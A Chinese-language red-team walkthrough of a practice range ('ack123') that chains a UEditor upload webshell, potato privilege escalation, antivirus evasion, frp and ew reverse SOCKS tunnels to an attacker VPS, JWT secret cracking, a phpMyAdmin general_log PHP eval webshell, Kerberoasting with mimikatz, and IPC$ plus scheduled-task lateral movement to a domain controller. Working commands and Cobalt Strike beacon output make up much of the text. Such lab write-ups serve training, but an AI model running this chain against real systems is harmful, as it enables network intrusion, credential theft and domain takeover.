前言:
此靶场是月师傅九月出师考核靶场,搭建过程参考文章红队考核靶场ack123下载和搭建
靶场地址:https://pan.baidu.com/s/13g_1FFg-ZYYpBwkCvKyYWQ 提取码:7fkj
靶场拓扑图:
靶场的主要考点:
1.站库分离 外网打点
2.过360全家桶
3.过windwos defender
4.过火绒
5.内网漫游
6.多层网络渗透
7.横向渗透
8.jwt token密钥破解
9.权限提升
10.域渗透
11.phpmyadmin写shell
12.sqlserver 提权
前端模版为hdhcms,通过注册进入后台发现Ueditor编辑器版本1.4.3
访问路径/admin/net/controller.ashx?action=catchimage
制作表单上传文件
demo.html
<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded" method="POST">
<p>shell addr:<input type="text" name="source[]" />
</p > <inputtype="submit" value="Submit" />
</form>
起服务
浏览器访问,填写路径http://192.168.1.9:8000/2.gif?.aspx,之后提交
哥斯拉连接
看下ip,59.130是shell地址,另外还有个22.129段
查看杀软情况
tasklist /svc
权限比较低,看下kb编号,打的还挺多
systeminfo
利用哥斯拉自带的烂土豆提权到system
上线cs
首先用cs建立反连接
frp服务端修改配置文件
https://github.com/fatedier/frp
启动
客户端修改配置文件
启动
cs监听,ip为服务端
免杀shellcode(免杀方式就不贴了,打的时候能过,现在有点悬233
生成payload使用sublime替换下\为以下格式
执行生成exe
上传到c:\windows\temp 下,执行上线成功
看下站点根目录,发现数据库连接密码
C:/Hws.com/HwsHostMaster/wwwroot/www.ackmoon.com/web/HdhApp.config
上传大马连接数据库
存在administrator用户
上传免杀马上线数据库
使用cs插件烂土豆提权到system
扫描下端口22段ip,得到三个存活主机
上传ew做下代理,需要免杀下,不然容易被杀(简单修改资源树就能起到免杀效果啦
vps执行
ew -s rcsocks -l 1080 -e 1024
web1执行
shell c:\ew.exe -s rssocks -d 192.168.1.20 -e 1024
改下socks5代理,请求22.138,登陆进去后台,在本地存储得到一串jwt数据
github下载jwt_tool 破解密钥
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
python3 -m pip install -r requirements.txt
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMC4xMC4xLjEzNSIsImF1ZCI6Imh0dHA6XC9cLzEwLjEwLjEuMTM1IiwiaWF0IjoxNjQyMTY0MDA2LCJuYmYiOjE2NDIxNjQwMTYsImV4cCI6MTY0MjE2NDYwNiwiZGF0YSI6eyJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiZGVtbyJ9fQ.mgbBNSJL1MTGep8eJTqfvH-1Zf6F82_Lvp19eGlr0DA -C -d /usr/share/wordlists/rockyou.txt
使用祖传字典爆破出phpmyadmin4.8.5 后台,使用刚刚破解密码登陆进入后台
http://192.168.22.138/phpmyadmin4.8.5/index.php
root/Qweasdzxc5
文件包含日志getshell
SET GLOBAL general_log='on' 开启日志记录
SHOW VARIABLES LIKE 'general%'; 查看日志状态,得到路径
SET GLOBAL general_log_file='C:/phpStudy_pro/WWW/a.php’设定日志保存路径
select '<?php eval($_POST["cmd"]); ?>'
连接
配置转发上线监听地址为data1 ip
生成exe,上传执行
上线web2
可以看到当前主机在域控里
shell ipconfig /all
查询spn(可以快速定位运行重要服务的主机
shell setspn -T ack123.com -q */*
找域用户起的服务,注入进程,得到新的shell
创建/伪造票据
mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com
查询票据
导出hash
换位置
访问文件夹,下载kirbi文件
github脚本爆破(这里建议得到hash之后在线md5尝试解一下,有概率能解开
https://github.com/nidem/kerberoast
python3 tgsrepcrack.py /usr/share/wordlists/rockyou.txt ../1-40a10000-web2@mysql\~16server-dc1.ack123.com-ACK123.COM.kirbi
使用计划任务上线dc
建立IPC$连接(由于没有截图我就直接把输出打印出来了Orz
beacon> shell net use \\10.10.10.135\ipc$ /user:administrator "P@55w0rd!"
[*] Tasked beacon to run: net use \\10.10.10.135\ipc$ /user:administrator "P@55w0rd!"
[+] host called home, sent: 90 bytes
[+] received output:
命令成功完成。
将本地的shellcode复制copy到135机器的c盘下
beacon> shell copy C:\Users\administrator.ACK123\Desktop\a1.exe \\10.10.10.135\c$\a1.exe
[*] Tasked beacon to run: copy C:\Users\administrator.ACK123\Desktop\a1.exe \\10.10.10.135\c$\a1.exe
[+] host called home, sent: 105 bytes
[+] received output:
已复制 1 个文件。
查看下有没有copy成功
beacon> shell dir\\10.10.10.135\c$\
[*] Tasked beacon to run: dir\\10.10.10.135\c$\
[+] host called home, sent: 52 bytes
[+] received output:
驱动器 \\10.10.10.135\c$ 中的卷没有标签。
卷的序列号是 FA4C-1AE9
\\10.10.10.135\c$ 的目录
2022/01/16 17:13 288,256 a1.exe
2022/01/16 18:29 288,256 c5.exe
2016/07/16 21:23 <DIR> PerfLogs
2021/08/28 01:29 <DIR> PHP5433
2021/08/21 17:41 <DIR> Program Files
2016/07/16 21:23 <DIR> Program Files (x86)
2021/08/21 17:40 <DIR> Users
2022/01/16 20:19 <DIR> Windows
2 个文件 576,512 字节
6 个目录51,418,132,480 可用字节
创建计划任务
beacon> shell SCHTASKS /Create /S 16server-dc1.ack123.com /U Administrator /P "P@55w0rd!" /SC ONCE /ST 14:32:42 /TN 361 /TR c:\a1.exe /RU Administrator
[*] Tasked beacon to run: SCHTASKS /Create /S 16server-dc1.ack123.com /U Administrator /P "P@55w0rd!" /SC ONCE /ST 14:32:42 /TN 361 /TR c:\a1.exe /RU Administrator
[+] host called home, sent: 168 bytes
[+] received output:
警告: 因为 /ST 早于当前的时间,任务可能无法运行。
成功: 成功创建计划任务"361"。
执行计划任务
beacon> shell schtasks /run /s 10.10.10.135 /i /tn 361 /U Administrator /P "P@55w0rd!"
[*] Tasked beacon to run: schtasks /run /s 10.10.10.135 /i /tn 361 /U Administrator /P "P@55w0rd!"
[+] host called home, sent: 103 bytes
[+] received output:
成功: 尝试运行"361"。
上线dc1成功
上线data2
建立smb监听,输入明文密码
成功上线
完结收工
总结:
文章写的比较少,所以看着可能比较乱,部分技术实现一笔带过(主要也没啥好说的233),漏洞利用过程比较常见Orz,有大师傅能分享别的漏洞利用思路,欢迎一起交流啊!!!